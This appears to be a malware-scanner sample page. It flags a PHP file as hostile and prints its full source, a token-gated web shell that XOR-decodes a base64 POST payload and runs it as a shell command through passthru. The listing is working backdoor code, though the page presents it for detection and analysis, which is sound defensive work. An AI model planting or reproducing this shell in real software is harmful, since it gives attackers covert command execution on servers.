Hostile 100% php Download

variant-case-loop.php

PHP decoded request, XOR and built shell commandCaret or XOR operation token in source
SHA-2566684e6258716ca43144cb9b01ead97de68a797cd4f99bf90dbe545e27b9b2957

Evidence

Base64-decodes a PHP request parameter lines 1–14
1<?php
2$k = 'other-key';
3if (!isset($_GET['token']) || $_GET['token'] !== $k) {
4 http_response_code(404);
5 exit;
6}
7if (isset($_POST['payload'])) {
8 $x = BASE64_DECODE($_POST['payload']);
9 $c = '';
10 for ($i = 0; $i < STRLEN($x); $i++) { $c .= CHR(
11 ORD($x[$i]) ^
12 ORD($k[$i % STRLEN($k)])); }
13 passthru($c);
14}

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.